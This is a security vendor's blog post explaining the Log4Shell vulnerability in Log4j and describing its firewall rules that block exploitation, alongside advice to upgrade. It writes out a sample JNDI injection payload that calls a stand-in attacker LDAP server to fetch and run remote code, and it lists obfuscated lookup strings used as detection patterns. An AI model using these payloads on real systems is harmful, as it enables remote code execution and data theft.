The Log4j vulnerability allows cybercriminals to execute code on a remote server. Mlytics deployed mitigation rules to help protect against the Log4j issue.
About Log4j
Log4Shell (CVE-2021-44228) is a zero-day vulnerability in Log4j, and it was given with a CVSS severity rating of 10, the highest available score. It affects version 2 of Log4j between versions 2.0-beta-9 and 2.14.1, and it is estimated that the exploit affects hundreds of millions of devices. Specifically, it affected commercial services including Amazon Web Services, iCloud, Minecraft: Java Edition, Steam, Tencent QQ, and many more.
According to Cloudflare, Log4j2 vulnerability is likely one of the most serious vulnerabilities on the Internet since Heartbleed and ShellShock. Even the German government issued an IT emergency State 4 Red, meaning “The IT threat situation is very critical, outage of many services is likely, and the live operation of services cannot be guaranteed”. The nature and extent of this vulnerability can be summarized by this comic: https://xkcd.com/2347/.
To understand Log4Shell let’s first look at the source – Log4j. Log4j is an open-source Java-based logging utility by Apache that allows software developers to log data within their applications. It is used ubiquitously in Java applications, especially enterprise software. Aside from logging user input, Log4j also has various lookup features (using curly braces).
One of those lookup functions is JNDI (Java Naming and Directory Interface) lookup. JNDI is a complex and powerful lookup tool. It doesn’t just perform lookups of environment variables, it can also perform lookups (and fetch information) from a remote server, such as LDAP (Lightweight Directory Access Protocol). With JNDI, Log4j is capable of capturing a message such as a URL, then fetching the correct response, and executing code with full privileges.
The diagram below shows a high-level overview of a communication flow for a Java application that utilizes JNDI.
In normal cases, the user will input a string in the text box simply to allow them to log in to their account, or connect to a server, etc. But with Log4jShell, a hacker could scan for vulnerable servers, and when he finds one, he will use the same text box to enter a line of code (with a specific syntax in the form ${prefix:name}) to trigger the Log4j to perform a JNDI lookup.
This “attack syntax” can contain a trigger that can load and execute a JAVA object that allows the hacker to gain control and execute code on a remote server (Remote Code Execution or RCE). With this, the hacker will be able to utilize the capabilities of the victims’ devices to perform remote activities ranging from cryptocurrency mining, creating botnets, sending spam, exfiltrating data from the targeted server, and doing ransomware attacks.
Analyzing the Log4j exploit
The attack steps are as follows:
- Inject the attack script, for example: ${jndi:ldap://www.mytest.com:1389/Exploit} into the application’s text box, and click login. The input will be recorded by Log4j2.
- Note: Exploit.class is a JAVA file which the attacker prepared in advance. In this Java file, the attacker can activate a remote command line interface to execute all sorts of remote activities.
- The Log4j2 logging program will parse the JNDI URL, and the application of the vulnerable server will then perform a look up and access the exploit object from the malicious LDAP server 1389. The LDAP server will download exploit.class from web server 8000.
- The attacker controls the LDAP server and redirects the vulnerable server to http://www.mytest/Exploit.class (server 8000)
- The attacked application will load the attacker’s Exploit.class and execute it, so that the attacker can obtain remote code execution permission on his host. The attacker will use the remote command line interface and input any Linux command to perform remote attacks, such as scanning user accounts, obtaining usernames and passwords, deleting files, downloading files, etc.
Mlytics mitigation against Log4j
To solve this problem Mlytics created protection that uses CRS (firewall) rules that will block access if commonly used attack syntax was typed on the application’s text box or common HTTP request headers.
Below shows the general syntax that will trigger the firewall rule:
- For CVE-2021-44228: ${jndi:ldap://url}
- For CVE-2021-45046 and CVE-2021-45105:
- ${ctx:key}
- ${${::-${::-$${::-j}}}}
- $${ctx:key}
For example: If this syntax: ${jndi:ldap://www.mytest.com:1389/Exploit} is typed on the application box or to HTTP request header (e.g. X-Forwarded-For), then the CRS will block the request.
You can enable the CRS for these vulnerabilities on Mlytics platform by navigating to ‘Origin Shield’ > ‘CRS rules’ > ‘Generic injection rules’.
On this page, search for the Rule IDs: 231980 for CVE-2021044228, and 231981 for CVE-2021-45046 and CVE-2021-45105.
Mlytics will continue to refine and expand these rules in order to respond to any attackers attempting to modify the exploit.
It has to be noted that the Log4jShell vulnerability is still actively being exploited. We highly recommend those who use Log4j to update their version to 2.17.0 to avoid the exploit. You can download the latest version on the Log4j download page.
